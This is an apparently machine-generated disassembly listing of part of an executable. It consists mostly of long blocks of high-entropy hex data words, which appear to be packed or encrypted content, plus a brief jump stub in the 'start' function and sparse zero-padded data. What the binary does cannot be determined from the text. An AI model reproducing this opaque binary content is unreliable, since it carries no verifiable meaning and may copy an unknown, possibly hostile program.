		dd 0F32CB370h, 0F033249Bh, 949014Ch, 0D03A763Dh, 0DB142F3Bh
		dd 80846BB2h, 28860CE9h, 0B40086F0h, 0E0DB8B84h, 103EC98h
		dd 6494AC1Ah, 3C8A2D2Bh, 1DED809Ch, 1EEAF319h, 490DF69Fh
		dd 548739BCh, 0C827B023h, 0EE482161h, 0F5001C4h, 0F55F9289h
		dd 2C003062h, 3D4C2541h, 263EFAC1h, 22CC811h, 6853CD8Dh
		dd 945294h, 0DA06D845h,	5C4B4A5Dh, 62278EF6h, 0D4906B30h
		dd 90073CE9h, 30BCD731h, 5A4A13C8h, 0E0B8F325h,	0B225F22Ch
		dd 0DD2A00BCh, 0A82C79AFh, 6A4AB2BBh, 285C8CCh,	525E9761h
		dd 2C60FCC3h, 4377E549h, 8A09ED12h, 0E086DC0Fh,	54EB3C73h
		dd 0CFC401A0h, 690A3487h, 0A52080A7h, 3B3EC330h, 19790957h
		dd 68C62CF0h, 3A74EF48h, 9C0D01E7h, 61CB2127h, 59803C7Ch
		dd 37DEDE5h, 8A75B702h,	666AF91Bh, 98DE00E0h, 61F29657h
		dd 0DC388653h, 0D7210015h
		dd 71886E84h, 4A6A016Fh, 2CFA63F4h, 599860FEh, 5A80EA50h
		dd 0A30DFD00h, 0AA92D125h, 4E66444Bh, 5F0767E8h, 524C5309h
		dd 0D87AFB57h, 50C4A7h,	0F40EF331h, 0F1C78349h,	1DA0BF00h
		dd 904BDF51h, 6C3D5CFBh, 975C9304h, 6FC0CD06h, 0A576B0h
		dd 0C7B7247h, 0F54B29F0h, 0AC246D17h, 2F628C81h, 9F142033h
		dd 8304A873h, 884B827Eh, 11008CB0h, 6CB6F238h, 7D36C6h
		dd 0BCC95EC5h, 0E3EBFD3Ah, 0B8D6ABF0h, 17BA888h, 90D1B7C4h
		dd 465A9A44h, 60001AC8h, 7D98368Ch, 0BF7F9DDh, 1F20C2EEh
		dd 68E6F880h, 0D491FA0Ch, 5C856F81h, 268033D8h,	0B0655FC6h
		dd 70B2354h, 44E2607Fh,	48DD7870h, 0B80980Fh, 63C9AC62h
		dd 24138D2Eh, 0C12AEF82h, 1B82C269h, 0EA5C094h,	97740027h
		dd 0D22428Ch, 0EC10C9B3h, 672CD745h, 5638002Ch,	0E8BAFB69h
		dd 5E00F8F0h, 0DC0C2DFEh, 76BFF6EFh, 51D5F8B7h,	402FE959h
		dd 0CFC6C4F4h, 0BFFE1191h, 0AC0B0A29h, 8BD2C19Eh, 200EC200h
		dd 2B7EB34h, 0C0C9FC46h, 1C644B3Bh, 8948BFA0h, 5CD1F00h
		dd 735A9D3Dh, 90EF160Bh, 8EA02093h, 0FC007119h,	9B7AFFBAh
		dd 0BED4597Fh, 1A0B4098h, 0C703908Dh, 1B16EE4Ch, 0A103CBE7h
		dd 14329426h, 8EF3FA07h, 0A2BA8529h, 111300E8h,	26D0B5E7h
		dd 380D5C34h, 135C6611h, 7CC832E5h, 0C92F01E0h,	975F680Bh
		dd 0AE19815Ch, 25F81F85h, 0EFA2D0h, 7305242Dh, 0E2E34464h
		dd 0A04A012Dh, 0E7E02CFCh, 2AC40025h, 71FD948Eh, 9E2ED3A1h
		dd 1B2F7447h, 7263C284h, 52FA0298h, 0FB610429h,	2B13A4E4h
		dd 1C88185Dh, 8BA002Ch,	0BCF4EE22h, 5B00376Fh, 1F2B7DF3h
		dd 3DDEA9B1h, 0B29220D6h, 61D42178h, 81146CFAh,	0A70E5F23h
		dd 0BF811A4h, 8485FFA4h, 0B1C88167h, 644C024Fh,	5D130020h
		dd 3BCB7FDh, 4E00F1A9h,	7581EE7Fh, 5EABD08h, 463AE597h
		dd 0D710C885h, 21386C07h, 0DF03C724h, 29B4C063h, 0C44000F2h
		dd 1636693Fh, 0C4A364F6h, 0E06142FCh, 0E5E620A8h, 5C4B0F29h
		dd 2EE74C0h, 11271DFAh,	2E25001Fh, 28AD8F6Dh, 0EC00405Fh
		dd 1F7EC5Ch, 56C60011h,	2A60D182h, 9097DCA5h, 0E94D0E4h
		dd 0E6186823h, 108BA382h, 49029700h, 6C89C057h,	6FFEA6E8h
		dd 0C6AA2A01h, 4B4C7D08h, 3288402Ah, 684F46E6h,	35952E00h
		dd 0D18B7214h, 54590036h, 94396078h, 6201923Bh,	2A61CF40h
		dd 1860FEBCh, 1CDF4CF2h, 0A0DC9C18h, 3CA04AF3h,	96279312h
		dd 0AF55C72h, 4EA886DEh, 1509BEC1h, 0D3A3C01Bh,	143DFE00h
		dd 4FFB6FF3h, 5ADA000Ch, 0A0AEDD3Ch, 0B26C13Bh,	404901Bh
		dd 4240EE93h, 0D397616h, 3B2D5A03h, 0E2BC898Eh,	6D41C03Dh
		dd 0A4E84813h, 66F3A2C0h, 61799936h, 0C524AD00h, 0C4DD8A07h
		dd 0A28B0391h, 0BDF19534h, 0E2892C0h, 0ABCFEC27h, 0E3D06028h
		dd 0FE40A864h, 66AD00CBh, 10E1210h, 5A0138A0h, 3591EBCEh
		dd 0E02CC321h, 0B613EC80h, 8101E761h, 553CFD99h, 232ED8EDh
		dd 881DEAD0h, 9505D938h, 0E4027F54h, 0D8695885h, 97551230h
		dd 60B81648h, 0EBC189E4h, 6E4A1D7Ch, 0EA872C20h, 25F909DCh
		dd 0C40F13B7h, 0E25F31A1h, 0E21464h, 498BCA3Fh,	0CD00F478h
		dd 0FD45F695h, 0B839A70Eh, 18BC029h, 39EBD426h,	3A0C8709h
		dd 5F887282h, 4018748Ah, 42321927h, 22A2CB09h, 0FBBD8439h
		dd 0D2EA1481h, 0A8281061h, 94076FC1h, 0C02213EDh, 2A881Dh
		dd 0D69AC052h, 0C75AB10Ch, 78192D30h, 27248F79h, 0D410F0D9h
		dd 4900F739h, 0D0038327h, 0C2099Ch, 97F35261h, 69842853h
		dd 2C2F551Eh, 625B8F44h, 2D1178BCh, 0E5C60BE0h,	93C0209Eh
		dd 0FA18F8h, 9A564A24h,	896AB983h, 60FFF419h, 0C0F01708h
		dd 0BDBB00E8h, 588C2F7Dh, 9A183E2Ah, 6A209DC5h,	457C3B77h
		dd 223B8203h, 8EA868B0h, 32071E57h, 1FA5D697h, 1F94EC63h
		dd 0C0299A31h, 7755D119h, 610F284Dh, 173DB98h, 0C1DDED78h
		dd 70CA62D0h, 89646046h, 27FDE4C3h, 872C071Eh, 94CA480Ch
		dd 8CCE0F4Bh, 4F006552h, 0CBA7CD98h, 3386CF00h,	8BA1725Fh
		dd 65210C50h, 8980F517h, 0AE6E190Eh, 2C1198BEh,	0CA323A2Eh
		dd 58748000h, 26D0CE4h,	0C90763F4h, 0C70A2998h,	0CAC14Ch
		dd 1B4E2193h, 8A39DB8Bh, 0B542C400h, 5FC2135Ah,	726400F8h
		dd 45D7084Bh, 5C00299Ch, 0B2F2A069h, 0E7EC75h, 94CA124h
		dd 1E5DEA05h, 0B58ED700h, 0F5FE0C44h, 990160BFh, 618BBC58h
		dd 389DCA00h, 0ADFF7632h, 706E02A2h, 16EC1444h,	0FB87D8A9h
		dd 5D11209Dh, 2F007EE5h, 3772D52h, 6F80981Ch, 9C602914h
		dd 71844621h, 0AA18293Bh, 6300B06Dh, 4B781F42h,	0F730741h
		dd 2F8C294Dh, 89F9098Ch, 0D9B3EAA0h, 0BB0C5474h, 591CEF8Dh
		dd 0CC340517h, 1E7B5C49h, 960600FCh, 9A77F7EEh,	291A8D30h
		dd 1AFE675h, 855B2C29h,	8091FF79h, 6CE39741h, 1733A0Fh
		dd 7604751Eh, 0FC8BFE53h, 0F6019CB0h, 7E974BA8h, 98C1C928h
		dd 7DE93980h, 0F9C69A3h, 31753Dh, 7BF1A63Eh, 73BB507h
		dd 0AE177868h, 426E00B8h, 8C00337Eh, 0FC414A26h, 3ACEC8Ah
		dd 6795788Eh, 0A900C7EFh, 355B44D3h, 3B1FCA76h,	7C80EC11h
		dd 0ED98B985h, 0AB0C9781h, 31C1EF0Eh, 0D19900D6h, 17129A30h
		dd 0E615D91Ah, 9C0CBEh,	1B2F59E2h, 1D92BCF9h, 40288D79h
		dd 0A61074A4h, 29CE0DBEh, 165B006Dh, 0F19D05h, 0B27378D0h
		dd 2A107631h, 2274CC00h, 92491CD4h, 0CCA654C4h,	0E87B78D5h
		dd 0E6980084h, 57FD96F7h, 9B09B52Fh, 4A14880h, 0F0827C78h
		dd 1E442A14h, 62A783C4h, 81300A12h, 2EBC1854h, 48D5E848h
		dd 1518C4C0h, 1E1321F7h, 7999E031h, 4022EF59h, 58ED1C03h
		dd 63D87829h, 7C00987Ah, 93E3E6B2h, 7D0AC5CBh, 6E7186h
		dd 2A452DD0h, 32425EBDh, 0E7087001h, 0B9D9B727h, 173C64C2h
		dd 403D2h, 0BCA910D0h, 740EB7C2h, 8092BDA4h, 237EB54h
		dd 2438F870h, 758E582h,	0CFA14261h, 0C5ED8F60h,	4C1878F0h
		dd 68C106B1h, 0FB7B07ACh, 0E09FD550h, 8AB4F9E1h, 0EC31F801h
		dd 628FF401h, 31A8D361h, 0CB611CB4h, 9965181Dh,	50090B4Ch
		dd 0EE953C6h, 5CA88BBh,	193A11Dh, 7210DDA0h, 0D2944CC5h
		dd 0D0A29200h, 0C4DA89B9h, 88F809DBh, 70982A2Eh, 5A00505Eh
		dd 0AD1F7379h, 0C415503h, 97E81ECAh, 772A9A49h,	3018B818h
		dd 4B19A5C2h, 0D39D3CA3h, 7679DF00h, 6BA8AD0Ch,	0C5E29A01h
		dd 42CE0D6Eh, 95E2CF8h,	0BAA91F55h, 6AAAF098h, 0C29B5B07h
		dd 8EDB3925h, 0BE67209Dh, 4C85B7CAh, 9263C55h, 27EE1228h
		dd 38C64020h, 4D11E0EBh, 0D5000FB0h, 93F09515h,	0C40AD333h
		dd 60ED1E45h, 20EE2804h, 0CC40F740h, 69007176h,	4DF03022h
		dd 63785723h, 56FE7052h, 3118EB7h, 0E534D17h, 194C80D5h
		dd 1968609Ch, 625DC1B0h, 729A480Ch, 0F287311Fh,	1379DE13h
		dd 0D15801C9h, 11989406h, 2180A7C5h, 15BA1280h,	8D1F0229h
		dd 823DA0B4h, 7652BC85h, 1339C381h, 62D640h, 75C9BE40h
		dd 486E57B6h, 90EC0918h, 0FA9804h, 8833CD49h, 384E714Dh
		dd 145C311Dh, 50092092h, 7E800DFh, 1F6E4715h, 23C0B51h
		dd 0EF74FB6Fh, 50199090h, 0FFB2F000h, 0C258D50Ah, 0BF05034Ah
		dd 1E36CC65h, 0C9016383h, 0A637FBF7h, 3A2085FFh, 0F981003Ch
		dd 2831AF46h, 0A8A0F38Fh, 9539DA58h, 9692219h, 4E4C4048h
		dd 6FCC001h, 0FFA9E8A8h, 0A6544h, 6DA0450Dh, 0F3640984h
		dd 0ADE54300h, 77D4D7B6h
		dd 0A0A4C4h, 0EE0C6CEh,	0BEFF190Bh, 0DF80E203h,	22A1EA0h
		dd 0B459179Ah, 38CC204Dh, 2CA0C490h, 54078AAFh,	0F8A5DF98h
		dd 749A6161h, 97031862h, 7754ECD5h, 0C7A0E598h,	546C4C2Ch
		dd 6D0E700h, 3098DA6Eh,	7531138Ch, 50C06CB5h, 0ABC85AC2h
		dd 18BF103Fh, 4F860017h, 0C1741A63h, 0D0FA40h, 8D577BB0h
		dd 411E4A5Fh, 0A1C162E0h, 0AFA477DCh, 3153F8h, 0FBD56ECDh
		dd 62645161h, 1F423090h, 98D7C17h, 813358h, 4C288CD0h
		dd 25011290h, 952EC8CFh, 18C482E3h, 299E05FEh, 0C0B3E49Ch
		dd 99520730h, 0C9C58C31h, 898066FFh, 916C399Fh,	0AD3E7D06h
		dd 64FEA4E3h, 550B6D11h, 0AC054C1Dh, 0D570818Fh, 0A398D08Bh
		dd 1E815D0Bh, 61BC92F6h, 0A530067Ch, 7184B054h,	45C1C0B0h
		dd 73BDED6Bh, 0E7659400h, 1A4CDFCCh, 8A361DD0h,	5BF24528h
		dd 8C00D29Ch, 2BB660C0h, 2FFA1505h, 4888F99h, 0C5F7977h
		dd 36AD6618h, 0C47BBB30h, 91A01002h, 664D1462h,	50F900C8h
		dd 0D377C86Eh, 40EE14Fh, 26AF9336h, 44585CCBh, 572E8D17h
		dd 8641D8B0h, 0E03EC744h, 31CE3E3h, 5A0BCD6Fh, 8E670566h
		dd 444CCCh, 170EBF01h, 37AB86A2h, 290F4D3Eh, 2C80D0EBh
		dd 24558798h, 0C9660033h, 9CD4D830h, 1013836h, 0A8E70957h
		dd 20291162h, 56067400h, 486E5F33h, 1903B030h, 287A39AAh
		dd 0A0C8DA94h, 0A86F9E50h, 171BBD4h, 88B72A8Dh,	202FA8BEh
		dd 112707CCh, 74D8C9h, 54B55EF6h, 24057701h, 0D7168603h
		dd 47F8F5Fh, 9D06D850h,	995D4265h, 90909098h, 4433E3E6h
		dd 13D17400h, 379808A5h, 0BBFF8F0Ah, 970C54BFh,	0EAB522ADh
		dd 0E07FE2ACh, 6059C06Bh, 265559ECh, 882C2C90h,	874034C4h
		dd 0D5CB1Ah, 0E9E4BCCDh, 0A725B67Fh, 0B708D200h, 8F9F4A79h
		dd 1741EE4Bh, 20B14331h, 84A0EA80h, 53ECA800h, 8FE9CFBAh
		dd 591E0778h, 87DBB68Ah, 1C048904h, 396C889Bh, 9819BD0Dh
		dd 78331196h, 0E405AA00h, 0CC97160Bh, 3B3A5600h, 0C731D501h
		dd 0AD7212B1h, 0D45407AFh, 89E7457Dh, 61FAE940h, 588858A8h
		dd 501FC90h, 8EDCB275h,	18335286h, 0BEE56703h, 0BAD20ECFh
		dd 0CD5C7Dh, 2BF977B1h,	0AC307355h, 0EC56484Dh,	78EA30D8h
		dd 53067610h, 50702C38h, 2900B968h, 418A6BC3h, 24C8E37h
		dd 2F7E1108h, 1C60F239h, 0E47263B5h, 679C48F7h,	0B3018C98h
		dd 2E4CDDF1h, 0E0369E18h, 0BF459F01h, 419D19BCh, 80A4C534h
		dd 731FB7E1h, 9CD04E6h,	4B24B652h, 33A9D500h, 2914E9B0h
		dd 2480671Dh, 226700FFh, 93B66A90h, 89A760B0h, 0CD9A8284h
		dd 7F028A00h, 65AA6219h, 409105C9h, 5B3A3Dh, 986FDCB8h
		dd 0EE06D1D6h, 0A5BED242h, 0C9370041h, 0CC7848FCh, 0F20030ADh
		dd 94F4FA08h, 2477E461h, 54E9B5Eh, 0C8C46010h, 2400A29Ch
		dd 9E5731CFh, 2EED83h, 20A73F53h, 70726FF5h, 55E2F41Ch
		dd 9015EF0Bh, 325114h, 1CB47501h, 40D742FAh, 6744EC98h
		dd 707F03A7h, 4B780159h, 0EF8FFB88h, 0E041C36Eh, 0AC318CC0h
		dd 0B6D30002h, 4DB0ECF9h, 4F00186Ch, 0AA57BEBh,	0F870AAh
		dd 0ED19716Ah, 2B334EBEh, 2674521Dh, 18C3241h, 0C9809EC7h
		dd 7C2DBA13h, 910050B6h, 6D6E6052h, 60ECFF24h, 3F8F79CAh
		dd 0D0005E81h, 0E8E36875h, 0E5FB1E5Ah, 1283CAF0h, 0C8E70E23h
		dd 0CFF074F8h, 33097100h, 0B7756555h, 8E3900E5h, 0DD68EBB5h
		dd 745C9938h, 796E80D8h, 1EE955EAh, 1D1837F9h, 4E426D7h
		dd 8854D519h, 9901085Ch, 0B12774A5h, 5040EF36h,	7891CBh
		dd 0DFC0029Ch, 67ACABE8h, 15691A00h, 4C26534Eh,	38A26C3h
		dd 6B22C0D4h, 5F0093F8h, 31EA081Ch, 148EA58Fh, 94FD4392h
		dd 17400624h, 24A800FCh, 0A5CA6E89h, 0B2D0E200h, 44250D57h
		dd 65290233h, 9518212Bh, 632C5444h, 0B641C01Dh,	0F422EC1Eh
		dd 191BB018h, 82000442h, 0C0B437FEh, 0F163D6h, 98EFA0C4h
		dd 0B738067Ah, 0D409430Bh, 0A8081B36h, 90A629h,	0B134E5BFh
		dd 1181FE75h, 0CD180F00h, 48490897h, 7BE90E91h,	0C047B490h
		dd 8F9AC11Fh, 0A29854C8h, 9DE60064h, 769BCFCAh,	68460E28h
		dd 0C7668D87h, 0A6FC7163h, 0FFD70101h, 28349711h, 75FC26D5h
		dd 0F620041h, 0B2C4E6C6h, 8EF01116h, 0EB1E83A0h, 0DC419268h
		dd 41205F00h, 0F2F7054h, 5BC17C82h, 2C805629h, 4B8E1501h
		dd 319ACB01h, 0C9EDD119h, 0A3C7A98Fh, 1E9953E0h, 2B0F6D32h
		dd 83B2D8FBh, 0C86F6569h, 6FA707C4h, 0BDA1408Fh, 38181B63h
		dd 90B0C018h, 5BEA905h,	284D9933h, 9C4488EEh, 46255602h
		dd 40BFCFA6h, 9499F7BBh, 0EE1E41D4h, 0F1A41795h, 1F12D48Ch
		dd 40D65D24h, 0A718A543h, 5499461Ch, 0B4B83580h, 9C046C11h
		dd 38F940DCh, 0D30FB74Ch, 40DA81A2h, 0A57B3C8h,	0E08F0F46h
		dd 7480D497h, 4C16C207h, 5D631B01h, 62E51EA7h, 0A4B0898Ch
		dd 0D80051E1h, 6F52DB05h, 3F22C218h, 83842F9Ch,	0A4B3C348h
		dd 0DCE5FF1Ch, 7703E8ACh, 1951404Bh, 24E2E463h,	9B7C0771h
		dd 705D6D57h, 3EAE544h,	0E31EAB0Ah, 0C43C3C9Dh,	4F690328h
		dd 0CB417BD8h, 0EF2A46F0h, 52BFAC00h, 97194D0Ch, 0F984A96Ch
		dd 29005863h, 8DB5420h,	0E50425D2h, 38289BF2h, 0EC2F0CA0h
		dd 0F19C1401h, 970DCC8h, 0CA65F30Ch, 0DDBB3480h, 0D605426Fh
		dd 2CF25F31h, 541350D0h, 6C91EFh, 3DB3CD0Ah, 830F7301h
		dd 23AABCh, 0F72F7FECh,	75C7056Bh, 211B989Ah, 1391E7F0h
		dd 0B930B008h, 34A04F28h, 20B224h, 0D8C08197h, 58DB5E1Ch
		dd 0F93EB7AEh, 0E7C900FAh, 0D46E198Eh, 550D7631h, 0C864F005h
		dd 0F35A9AF4h, 0F577C0h, 81017F06h, 5CD8CA4Bh, 0AF244A74h
		dd 0B400609Fh, 77BDBC23h, 35073C0Fh, 0D0C5AC93h, 5C6BEDA4h
		dd 34878100h, 0BC16522Dh, 4F08010Eh, 0CA5D94FBh, 0BE708055h
		dd 2F5E5CEEh, 58715856h, 0AF81BFC0h, 0C70344DCh, 40E4E625h
		dd 2F80E91Eh, 9A000833h, 0C88B7650h, 0A002C99h,	96E6F0C1h
		dd 9C6FDBE7h, 0CE568210h, 0D444EF95h, 835A7900h, 21FF41C8h
		dd 13DE001Dh, 473D53DDh, 1107B389h, 0B780CEE9h,	0C4EC9BA2h
		dd 63640068h, 0EF895BFh, 0FE00614Ch, 0A7EF1BADh, 1C1DF1C3h
		dd 5E2550Fh, 229AE41Eh,	0C2200CC8h, 4220347h, 69BDA79h
		dd 7CE8E37Ah, 0EF307E78h, 5E331193h, 9A7B09C9h,	8C000151h
		dd 1362771Ch, 0EF12C899h, 0C8B9FC20h, 6F070094h, 424324CEh
		dd 0EE5836DDh, 705080E4h, 166B981Dh, 4E31F82h, 0E0FF3A10h
		dd 0C244EFB8h, 0B431001Ch, 0EC45C49Fh, 8009AA98h, 447755E5h
		dd 0FE4005Ch, 0A70B64A2h, 20160315h, 0DE1C5B3Fh, 0C86C0405h
		dd 9A4DE7C0h, 9840A072h, 0E1B900A7h, 53286D3Dh,	22FD6312h
		dd 0EC2B51D0h, 9CA17FE0h, 0B0081391h, 583A7C4Eh, 0C444871h
		dd 0E89F09FAh, 0C402DA43h, 0CCC68D98h, 75E5AE07h, 8301B2DDh
		dd 74C02459h, 98CA165Eh, 1D88C8Ah, 0D032E81Ch, 0D8BC7907h
		dd 6177F830h, 11F46069h, 10545A78h, 0A83BD21Eh,	0D9D3A346h
		dd 0ABBC0018h, 0FA9FEB1Ah, 31C07061h, 0FDF8B05h, 0A97206C7h
		dd 49B253ABh, 1F945603h, 0C006A803h, 34595A4h, 0FD987159h
		dd 6801E9DFh, 6D903A36h, 51BE8C4Fh, 402A8501h, 0C4B68678h
		dd 7506B35Ah, 0DC368A34h, 0FEEFA89h, 6930C3B2h,	0A5AA0010h
		dd 1F3E051Bh, 32020E5Bh, 0A7801EAFh, 59556570h,	0B961E007h
		dd 0D3210DD0h, 71942304h, 24005850h, 7A56998Ch,	0F800393Ah
		dd 8AD4611Eh, 0D02FF3h
		dd 680D116Eh, 9E5CB1E1h, 246079C6h, 0C8AE0049h,	0B65B0D59h
		dd 82744058h, 36432100h, 0C1E715B8h, 0BC380CEEh, 5B71BF53h
		dd 63D26800h, 0BEF886B8h, 3042797Eh, 0B121B5F2h, 0D31F41E9h
		dd 74FC053Bh, 0EB0A3800h, 0C56AFB09h, 0CA01FC7Bh, 5D87989h
		dd 40605E03h, 0A2898DE0h, 0EE73F0E3h, 0FB3F9800h, 0DFA6F8D3h
		dd 2A570FC8h, 5300B8CFh, 0B9EC1729h, 5F353C03h,	0B88E84D2h
		dd 0F58983h, 8D822315h,	8BFF4DDCh, 0E39D6907h, 79AC6184h
		dd 0C63D0788h, 9E2C0490h, 5B17443h, 44E8C8E8h, 0C1C56803h
		dd 18C0E28Eh, 39736028h, 6FE88671h, 29CC4406h, 7EF080E9h
		dd 81820511h, 1E18BA4Ah, 44CAC08Ch, 13ADD5E6h, 418A4E30h
		dd 55FABFh, 1635E04h, 78A527ACh, 0E3E72C00h, 0E2FE2F54h
		dd 87590C57h, 0C9881FADh, 9877352Ah, 0B0CB8B00h, 9957D8Eh
		dd 3FE779FCh, 0B58E4F25h, 8FAC9BA8h, 0D5724669h, 9765BB00h
		dd 0F1FB6CDCh, 0E7E606E0h, 518230C4h, 0E10782B0h, 5AEBD6E3h
		dd 0D2943710h, 52F11587h, 7100E82Dh, 729D0B02h,	24019BF3h
		dd 8D60DC8Bh, 6C24A63Ah, 85F6E0h, 0DBF18FD5h, 33DFE55Ah
		dd 59E1B11Eh, 74326406h, 0A0C49071h, 7549BBh, 0BBE74AF2h
		dd 0C693B868h, 9C609600h, 0F8B9545Fh, 0FB8D006Bh, 5D79F111h
		dd 6F048B58h, 388CDB88h, 13ECA889h, 4068DDF9h, 0EEB963E9h
		dd 0C8C36662h, 90C7F19Fh, 3198F3Ch, 0D3DB6807h,	0CA9B83D2h
		dd 0EC1410Eh, 208D2F20h, 0BFC3136Bh, 32F70ED1h,	8AFDD410h
		dd 8AA82505h, 9F882653h, 86DCCAh, 2172D47Dh, 0B9014333h
		dd 40ED04CEh, 4EEC8F49h, 0CF39C128h, 0ECA9D55Eh, 5100B969h
		dd 3AF1ECDh, 0D0854Bh, 0D1C4FF2Bh, 0CCD35A3Ah, 0DA4699C0h
		dd 73B39Fh, 1B49ED15h, 0D28158AAh, 4017CD03h, 0C48DE925h
		dd 0D3898080h, 6339C9D6h, 51017F0Bh, 4071BA12h,	0A3ECAD1h
		dd 0A7941A01h, 724E0ECDh, 156BEEF8h, 0CC845AB1h, 0C1CC50h
		dd 0DEFAE3BBh, 0CDFBE43Ch, 0F0E1311Dh, 5820A99Bh, 7A0FD938h
		dd 0C983D8AFh, 0C6805F5Dh, 502A96E1h, 11009025h, 6E988D4Eh
		dd 4A9C4BF9h, 0E86BE08Ch, 0A1005E78h, 0C4412886h, 0FDE387A4h
		dd 0C07B4DCCh, 0BAC3E1D1h, 0F74C6999h, 3C4C9438h, 0E35C8057h
		dd 0C080E0A4h, 7E49160h, 9537Ch, 3FA53424h, 0AB571D00h
		dd 88EFDEB5h, 2929604Fh, 646793A8h, 0E5A1ED50h,	187ED700h
		dd 9C47999Fh, 8A5600C9h, 0D1FAE290h, 60983935h,	7E923412h
		dd 0D636F000h, 749A3A3Ch, 161B07EEh, 0D1093BD9h, 0D8C9734Ah
		dd 8C0E064Ch, 55D4DBC7h, 36EB2EC8h, 18C8CB00h, 0C013C83h
		dd 0CDD3EE8Eh, 0FB2C9A21h, 0BB00986Ch, 0F104948Dh, 0E4170118h
		dd 87091262h, 751C3260h, 0CA40FA00h, 0FBADAB1Bh, 43B80033h
		dd 5DE61C96h, 6012A55Eh, 71016AA0h, 76FE31ABh, 88741860h
		dd 800665E2h, 0DF3A8CDEh, 99337981h, 0AA2E002Ch, 8470CD14h
		dd 8E735A03h, 22295469h, 600CFB0h, 7C30F1A0h, 3A626A7Fh
		dd 4A0787EFh, 0D0A805D4h, 0B1D74D97h, 802C5248h, 359EB3F9h
		dd 6D11C76Ch, 94A780FCh, 25001420h, 5DA4B6BBh, 82E537h
		dd 0BEF1D521h, 620D1689h, 0F46AA312h, 762D0460h, 6835307Ah
		dd 0AFE7FF51h, 70295000h, 1F521DDDh, 4F0938A8h,	8368F424h
		dd 0E5D56EE4h, 8A644000h, 0E8E7834Ch, 875531B1h, 2252DA49h
		dd 4B750360h, 0A997FC92h, 60C0CBF9h, 1C3F707Ah,	830BEC84h
		dd 0B1501CE1h, 0E0163176h, 1600068Ch, 610442D4h, 12D0546h
		dd 2FCCEA09h, 0B6FFFF01h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_544431:				; CODE XREF: start:loc_4E6265j
					; DATA XREF: start:loc_4E6086o
		jmp	loc_54786A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset dword_57D5E8
		align 4
		dd 0
		dd 60000h, 3 dup(0)
dword_544450	dd 9 dup(0)		; DATA XREF: ___:off_4425A4o
		dd 8C0A0000h, 0A0h, 4 dup(0)
		dd 1FC60000h, 5EB9h, 0
		dd 4B0B0000h, 65AA7EA9h, 0E192h, 3 dup(0)
		dd 0E33A0000h, 5Ah, 4 dup(0)
		dd 0EA670000h, 370Eh, 2	dup(0)
		dd 679A0000h, 54h, 2 dup(0)
		dd 0AEh, 15h dup(0)
		dd 1050000h, 0A28h, 2 dup(0)
		dd 7620000h, 0FFA5h, 0C1080000h, 0FF5400B3h, 8C0A0012h
		dd 0A0h, 3 dup(0)
		dd 0AC0000h, 0
		dd 47BB0000h, 2BE10000h, 0FFB08C53h, 23D70000h,	77DDh
		dd 0Fh dup(0)
		dd 0B1340000h, 206700A2h, 9995F4BCh, 0EC100A4h,	0D2A90000h
		dd 202F3h, 0E5A10000h, 4E0Dh, 3040000h,	7FFEh, 22A00000h
		dd 5Ch,	0A13F0000h, 77E7h, 3FF30000h, 4	dup(0)
		dd 0B8130000h, 0D0h, 0Bh dup(0)
		dd 1D80000h, 40h, 6 dup(0)
		dd 0A6E90000h, 77EBh, 0F4CE0000h, 59h, 2 dup(0)
		dd 189A0000h, 2A5477DDh, 58h, 0
		dd 9EB60000h, 0B0779400h, 59h, 6 dup(0)
		dd 9Fh,	26h dup(0)
		dd 86330000h, 4E55h, 2 dup(0)
		dd 77670000h, 28E6h, 0D9AD0000h, 14340000h, 7 dup(0)
		dd 31D60000h, 0A0h, 3 dup(0)
		dd 1E150000h, 0D7068056h, 77E6h, 3 dup(0)
		dd 0B03E0000h, 59h, 5CB50000h, 77E7h, 0
		dd 6CB00000h, 0A0h, 2 dup(0)
		dd 3790000h, 7A7Bh, 17h	dup(0)
		dd 3040000h, 2 dup(0)
		dd 4DEB0000h, 60FFh, 2 dup(0)
		dd 39EB0000h, 3	dup(0)
		dd 55FB0000h, 742Eh, 9 dup(0)
		dd 0E12F0000h, 7CEAh, 70C40000h, 0A0h, 4 dup(0)
		dd 66640000h, 18C4h, 0EC0000h, 0
		dd 77DDh, 30DF0000h, 0A9C5h, 0
		dd 34300000h, 3FF3312Dh, 4 dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Eh dup(0)
		dd 29800000h, 3	dup(0)
		dd 8AEC0000h, 9CF70059h, 59h, 9	dup(0)
		dd 7FA00000h, 0D39400AFh, 5Ah, 7 dup(0)
		dd 2B0000h, 0Bh	dup(0)
		dd 22220000h, 22222222h, 0CB282222h, 0A099E025h, 77E7h
		dd 0
		dd 9C370000h, 0A0h, 80A30000h, 0CDA6h, 0BFBC0000h, 3E3B3F6Fh
		dd 0A0h, 0CC5C0000h, 5Ah, 3 dup(0)
		dd 0FF4Eh, 9 dup(0)
		dd 0C4560000h, 0C96A005Bh, 77D4h, 4 dup(0)
		dd 77F5h, 0Fh dup(0)
		dd 10000h, 13h dup(0)
		dd 5ECC0000h, 1E6077DDh, 0FD95h, 2 dup(0)
		dd 3040000h, 7FFEh, 9Dh	dup(0)
		db 2 dup(0)
word_544F42	dw 0			; DATA XREF: ___:off_43B008o
		dd 11h dup(0)
		dd 0FEF00000h, 0D9460012h, 57h,	3 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 398E0000h, 6C7Bh, 2 dup(0)
		dd 3FF30000h, 5Bh, 50160000h, 63FEh, 65h dup(0)
		dd 69DD0000h, 0A0h, 10EB0000h, 6 dup(0)
		dd 0D9020000h, 8A50h, 73530000h, 7FD80A24h, 0A2h, 57C60000h
		dd 7FFEh, 0A1440000h, 59177E7h,	77E8h, 2 dup(0)
		dd 0D9460000h, 57h, 0C59B0000h,	58h, 0Fh dup(0)
		dd 0FFFC0000h, 3, 2 dup(0)
		dd 0CD830000h, 5Ah, 7C0000h, 60E50000h,	2 dup(0)
		dd 0FFF00000h, 12h, 0Ah	dup(0)
		dd 10000h, 2 dup(0)
		dd 52F50000h, 30432C6h,	32687FFEh, 79CD00A1h, 0B1AAh, 6	dup(0)
		dd 10000000h, 8	dup(0)
		dd 337F0000h, 0FDAh, 0EBB00000h, 56h, 2	dup(0)
		dd 31450000h, 88EF00A0h, 8587h,	0Eh dup(0)
		dd 67930000h, 4	dup(0)
		dd 2E0F0000h, 865377F5h, 24240059h, 2424h, 3 dup(0)
dword_545350	dd 2 dup(0)		; DATA XREF: ___:off_442564o
		dd 82750000h, 3040057h,	7FFEh, 0F9C10000h, 57h,	7 dup(0)
